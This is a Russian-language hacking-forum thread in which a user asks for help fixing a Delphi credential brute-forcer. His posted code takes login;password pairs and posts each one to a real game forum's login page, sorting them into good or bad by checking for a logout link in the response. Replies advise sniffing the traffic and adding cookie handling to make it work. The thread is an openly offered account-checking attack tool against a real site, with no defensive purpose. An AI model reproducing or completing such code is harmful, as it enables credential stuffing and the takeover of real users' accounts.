Помогите с брутом!

[Worm1997]

[Ссылки могут видеть только зарегистрированные пользователи. ]
Отправляет валидный акк в bad

procedure TForm1.btn1Click(Sender: TObject);
var
  i,y,s:Integer;
  info,p:TStringList;
begin
info:=TStringList.Create;
p:=TStringList.Create;

 for i:=0 to Mmo1.Lines.Count-1 do
 begin
 y:=Pos(';', mmo1.Text);
 info.add('login='+copy(Mmo1.Text, 1, y-1));
 s:=length(mmo1.Text);
 info.add('password='+copy(mmo1.Text, y+1, s));
 p.Text:=idhtp1.Post('http://ru.cheese.formice.com/forum/login/login', info);
 if pos('Выход', p.text)>0 then
 begin
 mmo2.lines.Add(Mmo1.Lines.Strings[i]+';'+ ' - ' + 'good');
 end
 else
 begin
 mmo2.lines.Add(Mmo1.Lines.Strings[i]+';'+ ' - ' + 'bad');
 end;
 end;

end;

procedure TForm1.btn2Click(Sender: TObject);
begin
mmo2.Lines.SaveToFile('log.txt');
end;

end.

[metraz]

смотри сниффером запросы, сверяй с браузером, если все хорошо, то ошибка тут

Цитата: if pos('Выход', p.text)>0 then

[Worm1997]

Есть еще варианты?

[Роспотребнадзор]

Цитата: Сообщение от Worm1997 Есть еще варианты?

Как вариант - возможно не проходит авторизация. Авторизироваться без куков редко получается.
Почитай про idcookiemanager

[SНIFТ]

Цитата: Сообщение от Worm1997 Помогите с брутом

хм ) тебе ещё нужна будет программа снифер

[Worm1997]

Цитата: Сообщение от SНIFТ хм ) тебе ещё нужна будет программа снифер

Да есть у меня, и к чему ты клонишь?

[metraz]

Цитата: Сообщение от Worm1997 Есть еще варианты?

Я вообще то тебе серьезные вещи говорю)

[Worm1997]

Цитата: Сообщение от metraz Я вообще то тебе серьезные вещи говорю)

Ясно.